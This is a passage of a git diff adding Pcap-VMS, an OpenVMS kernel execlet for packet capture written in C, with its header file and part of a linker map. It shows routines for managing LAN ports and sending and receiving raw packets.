VCIBDLLDEF *vcib, VCRPDEF *request ); + +/* Receive */ +#pragma linkage pcap_rxLnkg = (parameters(r4,r3), preserved(r2,r4,r5), nopreserve(r0,r1)) +#pragma use_linkage pcap_rxLnkg (pcap_rxCompl) +void pcap_rxCompl( VCIBDEF *vcib, VCRPDEF *request ); + +/* Events */ +#pragma linkage pcap_evtLnkg = (parameters(r4,r1, r2), preserved(r5), nopreserve(r0,r1)) +#pragma use_linkage pcap_evtLnkg (pcap_event) +void pcap_event( VCIBDLLDEF *vcib, int event, int reason ); + + +// +// External variables +// +extern uint64 exe$gq_systime; + +// +// Global variables +// +#pragma extern_model save +#pragma extern_model strict_refdef "EXEC$NONPAGED_DATA" +static int unlvec[4]; +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long +static PCAPVCM *pcapvcm = 0; +#pragma __required_pointer_size __restore +#pragma extern_model restore + + +// +// Note: we use the VCIB as a queue for VCRBs and to keep track of the +// size of the queue we use the size field to hold the number of elements +// in the queue. +// +int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil) +{ + int status = SS$_NORMAL; + VCIBDEF *vcib_base; + + vcib_base = (VCIBDEF *) vcib; + memset(vcib, 0, sizeof(VCIBDLLDEF)); + + vcib_base->vcib$a_portmgmt_complete = (void *) pcap_mgmCompl; + vcib_base->vcib$a_receive_complete = (void *) pcap_rxCompl; + vcib_base->vcib$a_report_event = (void *) pcap_event; + vcib_base->vcib$a_transmit_complete = (void *) pcap_txCompl; + vcib_base->vcib$b_type = DYN$C_DECNET; + vcib_base->vcib$b_sub_type = DYN$C_NET_VCI_VCIB; + vcib_base->vcib$l_vci_id = 0x0101; + vcib_base->vcib$w_version_upper = 1; + vcib->vcib$a_dll_input_list = lil; + vcib->vcib$w_dll_hdr_size = LAN$C_MAX_HDR_SIZE; // Max out... + vcib->vcib$v_lan_ftc = 1; // Always call completion routine + return status; +} + +int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf) +{ + int status = 1; + VCRPDEF *vcrp; + + vcrp = (VCRPDEF *) vcrplan; + vcrp->vcrp$b_type = DYN$C_VCRP; + vcrp->vcrp$v_cmn_mgmt = 1; + vcrp->vcrp$l_function = func; + vcrplan->vcrp$a_lan_p2buff = p2buf; + vcrplan->vcrp$l_lan_p2buff_size = p2len; + + return status; +} + + +int init_transmit_vcrp(VCRPLANDEF *vcrplan) +{ + int status = 1; + VCRPDEF *vcrp; + + vcrp = (VCRPDEF *) vcrplan; + vcrp->vcrp$b_type = DYN$C_VCRP; + vcrp->vcrp$v_cmn_mgmt = 0; + vcrp->vcrp$l_function = VCRP$K_FC_TRANSMIT; + + return status; +} + + +// +// This is the execlet initialization routine, which is called upon +// loading of this image. +// +int pcap$vcm_init (LDRIMG *ini_image_block, + INIRTN *ini_flags_addr, + const char *ini_user_buffer ) +{ + int status; + uint64 alloc_size; + + // + // Make sure we are not called again + // + ini_flags_addr->inirtn$v_no_recall = 1; + + // + // We need to do some cleanup if we ever get unloaded, so declare an + // unload vector and pass our unload routine + // + unlvec[0] = (int) pcap$vcm_unload; + unlvec[1] = 0; + unlvec[2] = 0; + unlvec[3] = 0; + ini_image_block->ldrimg$l_unlvec = unlvec; + + // + // Allocate a 2 pages for our shared data structure + // with our companion, the PCAP library. + // + status = mmg_std$alloc_system_va_map ( + PTE$C_UW | PTE$M_ASM, // User mode RW + 2, // number of pages + 1, // nonpaged + 1, // S1 space + (VOID_PPQ) &pcapvcm ); + if (!$VMS_STATUS_SUCCESS(status)) + bug_check (CUSTOMER, FATAL, COLD); + + // + // Initialize the data structure... + // + memset (pcapvcm, 0, mmg$gl_page_size); + pcapvcm->mbo = 1; + pcapvcm->type = DYN$C_MISC; + pcapvcm->subtype = DYN$C_MISC; + pcapvcm->size = sizeof(PCAPVCM); + pcapvcm->revision = PCAPVCM$K_REVISION; + pcapvcm->recv_queue_size = PCAPVCM$K_RECV_QUEUE_SIZE; + pcapvcm->retry_count = PCAPVCM$K_RECV_QUEUE_RETRY; + pcapvcm->get_context = pcap$vcm_get_context; + pcapvcm->alloc_port = pcap$vcm_alloc_port; + pcapvcm->free_port = pcap$vcm_free_port; + pcapvcm->get_device = pcap$vcm_getdevice; + pcapvcm->create_port = pcap$vcm_create_port; + pcapvcm->delete_port = pcap$vcm_delete_port; + pcapvcm->enable_port = pcap$vcm_enable_port; + pcapvcm->disable_port = pcap$vcm_disable_port; + pcapvcm->get_mgm_error = pcap$vcm_get_mgm_error; + pcapvcm->get_last_error = pcap$vcm_get_last_error; + pcapvcm->read_packet = pcap$vcm_read_packet; + pcapvcm->send_packet = pcap$vcm_send_packet; + pcapvcm->build_header = pcap$vcm_build_header; + pcapvcm->get_statistics = pcap$vcm_get_statistics; + + return SS$_NORMAL; +} + + + +// +// This unload routine will be automagically called during execlet +// unloading to perform the cleanup steps. +// NOTE - since I'm useless at building execlets this currently will +// cause the system to crash, because I have pageable psects. +int pcap$vcm_unload () +{ + int status; + int pages; + int cpuidx; + uint64 delta; + GENERIC_64 delta_time; + + // + // Is the pointer good to the shared data? + // + if ( pcapvcm != 0 ) { + + // + // Finally get rid of the shared data block + // + mmg_std$dealloc_sva ( 2, pcapvcm ); + pcapvcm = 0; + } + + return SS$_NORMAL; +} + +// +// VCI callback routies +// + +// +// Transmit done. We only allow one transmit at the time, this +// routine simply clears the trasmit in progress flag. +// +void pcap_txCompl( VCIBDLLDEF *vcib, VCRPDEF *request ) +{ + VCMCTX *vcmctx; + VCRPLANDEF *vcrp; + + // Get context + vcmctx = request->vcrp$a_creator; + vcmctx->transmit_pending = 0; + vcmctx->last_error = request->vcrp$l_request_status; + vcmctx->stat.tr_packets++; +} + + +// +// Do nothing. We own the management VCRP an have a method for getting +// the status below. +// +void pcap_mgmCompl( VCIBDLLDEF *vcib, VCRPDEF *request ) +{ + uint64 status; + status = request->vcrp$l_request_status; +} + + +// +// Receive complete routine. Notice that the VCIB contains our +// context, so that we can fiddle... we assume we're going to +// ignore this packet. +// +void pcap_rxCompl( VCIBDEF *vcib, VCRPDEF *request ) +{ + int retry_count = 1; + int status = SS$_NORMAL; + int trash_it = 0; + PCAPVCIB *pcapvcib; + VCRPDEF *vcrpout; + VCMCTX *vcmctx; + + + // + // Get our port context + // + pcapvcib = (PCAPVCIB *) vcib; + vcmctx = (VCMCTX *) pcapvcib->vcmctx; + + // + // Put into global receive queue, so no copy. + // Notice, at this time we're supposed to hold + // IOLOCK 8, so be as fast as possible + // + retry_count += pcapvcm->retry_count; + do { + status = __PAL_INSQHIL(vcib, request); + } while (status < 0 && retry_count-- > 0); + + // + // If we failed to insert this item, drop it + // + if (status < 0) { + status = vci_delete_vcrp(request); + vcmctx->stat.recv_packets_dropped++; + return; + } + + // + // Increase counter + // + vcmctx->stat.recv_packets++; + + // + // Is the queue full? + // + vcib->vcib$w_size++; + if (vcib->vcib$w_size > vcmctx->recv_queue_size) { + status = __PAL_REMQTIL(vcib, (void *)&vcrpout); + vcib->vcib$w_size--; + if (status != 0) { + status = vci_delete_vcrp(vcrpout); + vcmctx->stat.recv_packets_dropped++; + } + } + + // + // Update statistics + // + pcapvcm->curr_recv_queue_size = vcib->vcib$w_size; + vcmctx->stat.recv_queue_size = vcib->vcib$w_size; +} + + +// +// We reveived an event, just save it for now... +// +void pcap_event( VCIBDLLDEF *vcib, int event, int reason ) +{ + + pcapvcm->last_mgm_event = event; +} + + +// +// Get the PCAP context +// +int pcap$vcm_get_context(PCAPVCM_64PP vcm) +{ + int status; + + if (pcapvcm != NULL) { + *vcm = pcapvcm; + status = SS$_NORMAL; + } else { + status = SS$_ACCVIO; + } + + return status; +} + + +// +// Allocate a VCM port context. This must be done as the first thing +// +int pcap$vcm_alloc_port(VCMCTX_64PP vcmctx) +{ + int status = SS$_NORMAL; + int pages; + VCMCTX_64P _align(QUADWORD) tmpctx; + uint64 real_size; + + // + // Number of pages required for CPU context + // + pages = (sizeof(VCMCTX) + (mmg$gl_page_size - 1))/mmg$gl_page_size; + + // + // Allocate a VCM context from NNP... + // + status = exe$allocate_pool( + sizeof(VCMCTX), + MMG$K_POOLTYPE_NPP, + 6, + &real_size, + (VOID_PPQ) &tmpctx); + if ( !$VMS_STATUS_SUCCESS(status) ) { + return status; + } + + memset(tmpctx, 0, sizeof(VCMCTX)); + tmpctx->size = real_size; + tmpctx->lil = (LILDEF *)tmpctx->lilbuf; + tmpctx->recv_queue_size = pcapvcm->recv_queue_size; + INIT_LIL(tmpctx->lil, PCAP_LIL_SIZE); + *vcmctx = tmpctx; + + return status; +} + +// +// Deallocate a port block +// +int pcap$vcm_free_port(VCMCTX_64P vcmctx) +{ + int status = SS$_NORMAL; + + // + // TBD - Check state, to ensure we can do this... + // + + // + // Dellocate our context... + // + exe$deallocate_pool(vcmctx, MMG$K_POOLTYPE_NPP, vcmctx->size); + + return status; +} + +// +// Get devices. We must copy, since LAN return a kernel only readable address +// Notice that this routine can be called multiple times until no more +// devices are found. +// +int pcap$vcm_getdevice(VCMCTX_64P vcmctx, CHAR_64P devnam) +{ + int status = SS$_NORMAL; + uint32 id; + LDCDEF *ldc; + unsigned char *tmpname; + int len = 0; + + id = vcmctx->ldcid; + status = vci_get_device(&id, &ldc); + if ($VMS_STATUS_SUCCESS(status)) { + vcmctx->ldcid = id; + tmpname = (unsigned char *) ldc->ldc$a_name; + len = (int) tmpname[0]; + vcmctx->ldc.ldc$a_name = (void *) &vcmctx->devbuf[0]; + memcpy(vcmctx->ldc.ldc$a_name, ldc->ldc$a_name, len+1); + memcpy(devnam, ldc->ldc$a_name, len+1); + devnam[len+1] = (char) 0; + vcmctx->ldc.ldc$l_type = ldc->ldc$l_type; + vcmctx->ldc.ldc$l_rcvsize = ldc->ldc$l_rcvsize; + vcmctx->ldc.ldc$l_devtype = ldc->ldc$l_devtype; + } else { + vcmctx->ldcid = 0; + } + return status; +} + +// +// Create a port... +// +int pcap$vcm_create_port(VCMCTX_64P vcmctx, CHAR_64P device) +{ + int status; + char tmpdev[128]; + int len; + PCAPVCIB *pcapvcib; + + len = (int) device[0]; + memcpy(tmpdev, device, len+1); + + // + // Add device to LIL + // + if (device) { + ADD_LIL_ADDR_VAL((LILDEF *)vcmctx->lil, DLL$K_LAN_DEVICE, + len+1, tmpdev); + } + + // + // Initialize VCIB + // + status = init_vcib((VCIBDLLDEF *)&vcmctx->vcib, (LILDEF *) vcmctx->lil); + + // + // Save context in our VCIB + // + pcapvcib = (PCAPVCIB *) &vcmctx->vcib; + pcapvcib->vcmctx = (VCMCTX *) vcmctx; + + if $VMS_STATUS_SUCCESS(status) { + status = vci_create_port((VCIBDLLDEF *)&vcmctx->vcib); + } + + return status; +} + +// +// Delete a port +// +int pcap$vcm_delete_port(VCMCTX_64P vcmctx) +{ + int status; + + status = vci_delete_port((VCIBDLLDEF *)&vcmctx->vcib); + + return status; +} + +// +// Enable a port +// +int pcap$vcm_enable_port(VCMCTX_64P vcmctx, int p2len, CHAR_64P p2buf) +{ + int status; + + if (p2len > 0 && p2buf != NULL) { + memcpy(&vcmctx->p2_buf[0], p2buf, p2len); + vcmctx->p2ptr = (char *)&vcmctx->p2_buf[0]; + vcmctx->p2len = p2len; + status = init_mgmt_vcrp((VCRPLANDEF *) &vcmctx->vcrp, + VCRP$K_FC_ENABLE_PORT, vcmctx->p2len, (char **)&vcmctx->p2ptr); + } else { + status = init_mgmt_vcrp((VCRPLANDEF *)&vcmctx->vcrp, + VCRP$K_FC_ENABLE_PORT, 0, 0); + } + + if $VMS_STATUS_SUCCESS(status) { + status = vci_mgmt_port((VCRPLANDEF *)&vcmctx->vcrp, + (VCIBDLLDEF *)&vcmctx->vcib); + } + + return status; +} + +// +// Disable a port +// +int pcap$vcm_disable_port(VCMCTX_64P vcmctx) +{ + int status = SS$_NORMAL; + + status = init_mgmt_vcrp((VCRPLANDEF *)&vcmctx->vcrp, + VCRP$K_FC_DISABLE_PORT, 0, 0); + + if $VMS_STATUS_SUCCESS(status) { + status = vci_mgmt_port((VCRPLANDEF *)&vcmctx->vcrp, + (VCIBDLLDEF *)&vcmctx->vcib); + } + + return status; +} + + +// +// Get last management error. +// +int pcap$vcm_get_mgm_error(VCMCTX_64P vcmctx, CHAR_64P error) +{ + int status = SS$_NORMAL; + VCRPDEF_64P vcrpptr; + + vcrpptr = (VCRPDEF_64P) &vcmctx->vcrp; +// memcpy(error, &vcrpptr->vcrp$q_request_status, 8); + + status = vcrpptr->vcrp$l_request_status; + + return status; +} + + +// +// Get last error. +// +int pcap$vcm_get_last_error(VCMCTX_64P vcmctx) +{ + int status; + + status = (int) vcmctx->last_error; + + return status; +} + + +// +// Read a packet. This is as simple as removing a VCRP from the +// queue in the VCIB. +// +int pcap$vcm_read_packet(VCMCTX_64P vcmctx, int len, CHAR_64P packet) +{ + int retry_count = 10; + int status = SS$_NORMAL; + int status2; + int saved_ipl; + int vcrpsize; + VCRPDEF *vcrp; + VCIBDEF *vcib; + + retry_count += pcapvcm->retry_count; + fork_lock(SPL$C_IOLOCK8, &saved_ipl); + // + // Remove from tail (FIFO style) + // + vcib = (VCIBDEF *)&vcmctx->vcib; + do { + status = __PAL_REMQTIL(vcib, (void *)&vcrp); + } while (status <= 0 && retry_count-- > 0); + + // + // If we couldn't remove entry from queue, say so + // + if (status < 0) { + fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE); + return SS$_NOTQUEUED; + } + + // + // If queue is empty, give up + // + if (status <= 0) { + return SS$_NOSUCHOBJECT; + } + + // + // If this is the last entry in the queue, then indicate success + // + if (status == 2) { + status = SS$_NORMAL; + } + + if (vcib->vcib$w_size > 0) { + vcib->vcib$w_size--; + } + + vcrpsize = vcrp->vcrp$w_size; + if (vcrpsize > len) { + status = vci_delete_vcrp(vcrp); + fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE); + return SS$_INSFMEM; + } + + // + // Copy the entire VCRP + // + memcpy(packet, vcrp, vcrpsize); + + // + // Get rid of VCRP + // + status2 = vci_delete_vcrp(vcrp); + + fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE); + + return status; +} + +// +// Send of a packet. The packet is assumed to be formatted correctly, so we'll +// just put it in a VCRP and send it on its way... +// +int pcap$vcm_send_packet(VCMCTX_64P vcmctx, int hdrlen, int len, + CHAR_64P rawpacket) +{ + int status; + int saved_ipl; + int vcrpsize; + char *packptr; + VCRPDEF *base; + VCRPLANDEF *vcrp; + char *reshdr; + int built_hdrlen; + int pdulen; + + // + // If we have an outstanding transmit, give up. + // + if (vcmctx->transmit_pending) { + return SS$_NOTHINGDONE; + } + vcmctx->transmit_pending = 1; + vcmctx->transmit_vcrp = (VCRPDEF *) &vcmctx->vcrpbuf[0]; + vcrp = (VCRPLANDEF *) vcmctx->transmit_vcrp; + memset(vcrp, 0, 4096); + status = init_transmit_vcrp(vcrp); + base = (VCRPDEF *) vcrp; + + // + // Point to where we're going to put the packet + // + packptr = (char *) vcrp + VCRP$T_LAN_DATA + LAN$C_MAX_HDR_SIZE + 8; + built_hdrlen = vci_build_header(packptr, &reshdr, 0, 0, (VCRPLANDEF *)&vcmctx->vcib); + + // + // Save the port context address + // + base->vcrp$a_creator = (VCMCTX *)vcmctx; + + // + // Build a frame + // + pdulen = (len-hdrlen) + built_hdrlen; + base->vcrp$l_boff = (char *) reshdr - (char *) base; + base->vcrp$l_bcnt = pdulen; + base->vcrp$l_total_pdu_size = pdulen; + base->vcrp$w_size = VCRP$T_LAN_DATA + len; + memcpy(&vcrp->vcrp$q_lan_t_dest, rawpacket, 6); + // + // Fiddle header + // + memcpy(reshdr, rawpacket, 6); // DA + memcpy(&reshdr[6], &rawpacket[6], 6); // SA + memcpy(&reshdr[12], &rawpacket[12], 2); // PTY + packptr = (char *) reshdr + built_hdrlen; + memcpy(packptr, (rawpacket+hdrlen), len-hdrlen); + + // + // Send the frame + // + fork_lock(SPL$C_IOLOCK8, &saved_ipl); + status = vci_transmit_frame((VCRPLANDEF *)vcmctx->transmit_vcrp, + (VCIBDLLDEF *)&vcmctx->vcib); + fork_unlock(SPL$C_IOLOCK8, saved_ipl, SMP_RESTORE); + + // + // If, by any chance, the transmit is complete, return the status + // + if (vcmctx->transmit_pending == 0) { + status = (int) base->vcrp$q_request_status; + } else { + status = SS$_OPINPROG; + } + + return status; +} + + +// +// Build a header and return it to the user +// +int pcap$vcm_build_header(VCMCTX_64P vcmctx, int len, CHAR_64P header) +{ + int status = SS$_NORMAL; + char *reshdr; + char *hdrptr; + int hdrlen; + + // + // Set up pointer to (the middle of) header + // + hdrptr = (char *)&vcmctx->hdr[64]; + + // + // Build the header + // + hdrlen = vci_build_header(hdrptr, &reshdr, 0, 0, (VCRPLANDEF *)&vcmctx->vcib); + + // + // Copy header just built + // + if (hdrlen > len) { + hdrlen = len; + } + + memcpy(header, reshdr, hdrlen); + + return hdrlen; +} + +// +// Retreive statistics for this VCI port +// +int pcap$vcm_get_statistics(VCMCTX_64P vcmctx, CHAR_64P stats) +{ + int status = SS$_NORMAL; + PCAPSTAT *statptr; + + statptr = (PCAPSTAT *) stats; + + statptr->recv_packets = vcmctx->stat.recv_packets; + statptr->recv_packets_dropped = vcmctx->stat.recv_packets_dropped; + statptr->recv_queue_size = vcmctx->stat.recv_queue_size; + statptr->tr_packets = vcmctx->stat.tr_packets; + statptr->tr_failed = vcmctx->stat.tr_failed; + + return status; +} + diff --git a/Pcap-VMS/pcapvcm/pcapvcm.h b/Pcap-VMS/pcapvcm/pcapvcm.h new file mode 100644 index 00000000..1264b9a0 --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcapvcm.h @@ -0,0 +1,220 @@ +/* pcapvcm.h - packet capturing execlet + + Copyright (c) 2003, Anders "ankan" Ahgren + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER + IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +*/ +//*************************************************************************** +// +// +// FACILITY: +// +// Dynamic Loadable Execlet for PCAP +// +// +// ABSTRACT: +// +// This module implements a VCM for the LAN driver +// +// +// AUTHOR: +// +// Ankan +// +// CREATION DATE: 21-Mar-2003 +// +// DESIGN ISSUES: +// +// {@tbs@} +// +// REVISION HISTORY: +// +// X-1 Ankan Anders Ahgren 21-Mar-2003 +// Initial version. +// +#ifndef __PCAPVCM_H_ +#define __PCAPVCM_H_ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct vcrpdef VCRPDEF; +typedef struct vcibdef VCIBDEF; + +#define PCAPVCM$K_REVISION 1 +#define PCAPVCM$K_RECV_QUEUE_SIZE 32 +#define PCAPVCM$K_RECV_MIN_QUEUE_SIZE 1 +#define PCAPVCM$K_RECV_MAX_QUEUE_SIZE 255 +#define PCAPVCM$K_RECV_QUEUE_RETRY 16 + +// LIL stuff +#define PCAP_LIL_SIZE 512 +typedef struct _lil_item { + short len; + short tag; + char val; +} LILITEM; + +#define INIT_LIL(lil, len) \ + { \ + (lil)->lil$l_listlen = 0; \ + (lil)->lil$a_listadr = (char *) (lil) + LIL$T_DATA; \ + (lil)->lil$w_size = len + sizeof(LILDEF); \ + (lil)->lil$b_type = DYN$C_DECNET; \ + (lil)->lil$b_subtype = DYN$C_NET_ITEM; \ + } + +#define ADD_LIL_ITEM(lil, tag, len, val) \ + add_lil_item(lil, len, tag, val); + +#define ADD_LIL_ADDR_VAL(lil, len, tag, val) \ + add_lil_addr_value(lil, tag, len, val); + +// LIL prototypes for the above +void add_lil_item(LILDEF *lil, int len, int tag, char *value); +void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value); + +// LAN P2 buffer stuff +#define ADD_INT_VAL(buf, code, val) \ + buf = add_int_value(buf, code, val); + +#define ADD_CNT_VAL(buf, code, len, val) \ + buf = add_counted_value(buf, code, len, val); + +// LAN P2 helper prototypes +char *add_int_value(char *buf, short code, int value); +char *add_counted_value(char *buf, short code, short len, char *value); +int find_value(int buflen, char *buf, short code, char *retbuf); + +// VCIB helpers +int init_vcib(VCIBDLLDEF *vcib, LILDEF *lil); + +// VCRP helpers +int init_mgmt_vcrp(VCRPLANDEF *vcrplan, int func, int p2len, char **p2buf); +int init_transmit_vcrp(VCRPLANDEF *vcrplan); + +// Pointer tricks, since we give and take from user mode... +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long +typedef char * CHAR_64P; +typedef void * VOID_64P; +typedef LILDEF * LILDEF_64P; +typedef VCRPDEF * VCRPDEF_64P; +#pragma __required_pointer_size __short +typedef LILDEF * LILDEF_32P; +typedef char * CHAR_32P; +#pragma __required_pointer_size __restore + +// Statistics... +typedef struct _pcapstat { + long recv_packets; + long recv_packets_dropped; + long recv_queue_size; + long tr_packets; + long tr_failed; +} PCAPSTAT; + +// Shared structure +typedef struct _pcapvcm { + unsigned short int mbo; + unsigned char type; + unsigned char subtype; + int size; + int revision; + int recv_queue_size; + int curr_recv_queue_size; + int retry_count; + int last_mgm_event; // Last management event + int (*get_context)(); + int (*unload_execlet)(); + int (*get_device)(); + int (*alloc_port)(); + int (*free_port)(); + int (*create_port)(); + int (*delete_port)(); + int (*enable_port)(); + int (*disable_port)(); + int (*get_mgm_error)(); + int (*get_last_error)(); + int (*read_packet)(); + int (*send_packet)(); + int (*build_header)(); + int (*get_statistics)(); +} PCAPVCM; + +// Our private VCIB definition, we need a context block in there +typedef struct __pcapvcib { + VCIBDLLDEF vcib; + struct _vcmctx *vcmctx; +} PCAPVCIB; + +#pragma member_alignment __save +#pragma nomember_alignment __quadword +// Per client context +typedef struct _vcmctx { + PCAPVCIB vcib; + VCRPLANDEF vcrp; + VCRPDEF *transmit_vcrp; + int transmit_vcrp_size; + int recv_queue_size; + uint32 flags; + uint32 transmit_pending; + uint64 size; + uint64 last_error; + struct _ldcdef ldc; + uint32 ldcid; + char devbuf[128]; + LILDEF_64P lil; + char lilbuf[sizeof(LILDEF)+PCAP_LIL_SIZE]; + char *hdrptr; + char hdr[128]; + int p2len; + char *p2ptr; + char p2_buf[128]; // P2 buffer + char vcrpbuf[4096]; // VCRP buffer (for transmit) + PCAPSTAT stat; // Statistics +} VCMCTX; +#pragma member_alignment __restore + +//...and more pointer tricks +#pragma __required_pointer_size __save +#pragma __required_pointer_size __long +typedef PCAPVCM * PCAPVCM_64P; +typedef PCAPVCM ** PCAPVCM_64PP; +typedef VCMCTX * VCMCTX_64P; +typedef VCMCTX ** VCMCTX_64PP; +#pragma __required_pointer_size __restore + + +// VCI jacket routines. These are written in MACRO, due to JSBs +extern int vci_get_device(uint32 *, LDCDEF **); +extern int vci_create_port(VCIBDLLDEF *vcib); +extern int vci_delete_port(VCIBDLLDEF *vcib); +extern int vci_delete_vcrp(VCRPDEF *vcrp); +extern int vci_mgmt_port(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib); +extern int vci_transmit_frame(VCRPLANDEF *vcrp, VCIBDLLDEF *vcib); +extern int vci_build_header(char *header, char **reshdr, int *x802, + int *r802, VCRPLANDEF *vcrp); +#endif /* __PCAPVCM_H_ */ diff --git a/Pcap-VMS/pcapvcm/pcapvcm.map b/Pcap-VMS/pcapvcm/pcapvcm.map new file mode 100644 index 00000000..9f196d35 --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcapvcm.map @@ -0,0 +1,1016 @@ + +PCAPVCM.EXE 6-NOV-2003 18:00 Linker A12-03 Page 1 + + +------------------------+ + ! Object Module Synopsis ! + +------------------------+ + +Module Name Ident Bytes File Creation Date Creator +----------- ----- ----- ----- ------------- ------- +SYS$DOINIT X-3 580 SYS$COMMON:[SYSLIB]STARLET.OLB;3 18-JUL-2002 18:50 AMAC V4.1-11-3381U +SYS$SSDEF V04-000 0 SYS$COMMON:[SYSLIB]STARLET.OLB;3 18-JUL-2002 17:43 AMAC V4.1-11-3381U +PCAPVCM_INIT X-1 4 [SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.OLB;1 6-NOV-2003 18:00 AMAC V4.1-15-3381U +PCAPVCM X-1 5748 [SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.OLB;1 6-NOV-2003 18:00 Compaq C V6.5-001 +VCI_JACKET X-1 1352 [SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.OLB;1 6-NOV-2003 18:00 AMAC V4.1-15-3381U +VCMUTIL V1.0 1424 [SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.OLB;1 6-NOV-2003 18:00 Compaq C V6.5-001 +BUGCHECK_CODES X-1K1 0 VMS$VOLATILE_PRIVATE_INTERFACES.OLB 18-JUL-2002 17:43 BLISS-32E V1.9-029 +SYS$BASE_IMAGE ALPHA X9E9-R2Y 0 [SYS$LDR]SYS$BASE_IMAGE.EXE;1 18-JUL-2002 19:44 Linker A11-50 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 2 + + +------------------------+ + ! Image Section Synopsis ! + +------------------------+ + + Cluster Type Pglts Base Addr Disk VBN PFC Protection and Paging Global Sec. Name Match Majorid Minorid + ------- ---- ----- --------- -------- --- --------------------- ---------------- ----- ------- ------- + +NONPAGED_CODE 4 5 00000000-R 3 0 READ ONLY EXECUTABLE + +NONPAGED_DATA 4 1 00004000-R 8 0 READ WRITE COPY ON REF + +INIT 4 2 00008000-R 9 0 READ WRITE COPY ON REF + +DEFAULT_CLUSTER 2 3 0000C000-R 11 0 READ WRITE NON-SHAREABLE ADDRESS DATA + 3 10 00010000-R 14 0 READ ONLY EXECUTABLE + 2 1 00014000-R 24 0 READ WRITE FIXUP VECTORS + +SYS$BASE_IMAGE 1 81 00000000-R 0 0 READ ONLY EXECUTABLE SYS$BASE_IMAGE_0 EQUAL 18 1833847 + 1 373 0000C000-R 0 0 READ WRITE COPY ON REF SYS$BASE_IMAGE_0 EQUAL 18 1833847 + 2 11 0003C000-R 0 0 READ WRITE FIXUP VECTORS SYS$BASE_IMAGE_0 EQUAL 18 1833847 + + + + + Key for special characters above: + +--------------------+ + ! R - Relocatable ! + ! P - Protected ! + +--------------------+ + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 3 + + +--------------------------+ + ! Program Section Synopsis ! + +--------------------------+ + +Psect Name Module Name Base End Length Align Attributes +---------- ----------- ---- --- ------ ----- ---------- + +$CODE 00000000 0000045F 00000460 ( 1120.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC, MOD + VCI_JACKET 00000000 0000045F 00000460 ( 1120.) LONG 2 + +$CODE$ 00000460 0000095F 00000500 ( 1280.) OCTA 4 PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC, MOD + PCAPVCM 00000460 00000460 00000000 ( 0.) OCTA 4 + VCMUTIL 00000460 00000957 000004F8 ( 1272.) OCTA 4 + BUGCHECK_CODES 00000960 00000960 00000000 ( 0.) OCTA 4 + +$$$100_DATA 00004000 00004003 00000004 ( 4.) QUAD 3 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM_INIT 00004000 00004003 00000004 ( 4.) QUAD 3 + +$BSS$ 00004010 0000401F 00000010 ( 16.) OCTA 4 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM 00004010 0000401F 00000010 ( 16.) OCTA 4 + VCMUTIL 00004020 00004020 00000000 ( 0.) OCTA 4 + +$DATA$ 00004020 0000402F 00000010 ( 16.) OCTA 4 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM 00004020 00004027 00000008 ( 8.) OCTA 4 + VCMUTIL 00004030 00004030 00000000 ( 0.) OCTA 4 + +$LINK$ 00004030 000040BF 00000090 ( 144.) OCTA 4 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM 00004030 00004030 00000000 ( 0.) OCTA 4 + VCMUTIL 00004030 000040B7 00000088 ( 136.) OCTA 4 + BUGCHECK_CODES 000040C0 000040C0 00000000 ( 0.) OCTA 4 + +$LINKAGE 000040C0 000041A7 000000E8 ( 232.) OCTA 4 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + VCI_JACKET 000040C0 000041A7 000000E8 ( 232.) OCTA 4 + +$LINKAGE$ 000041A8 000041A8 00000000 ( 0.) BYTE 0 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + +$LITERAL$ 000041B0 000041B0 00000000 ( 0.) OCTA 4 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM 000041B0 000041B0 00000000 ( 0.) OCTA 4 + VCMUTIL 000041B0 000041B0 00000000 ( 0.) OCTA 4 + BUGCHECK_CODES 000041B0 000041B0 00000000 ( 0.) OCTA 4 + +$READONLY$ 000041B0 000041CF 00000020 ( 32.) OCTA 4 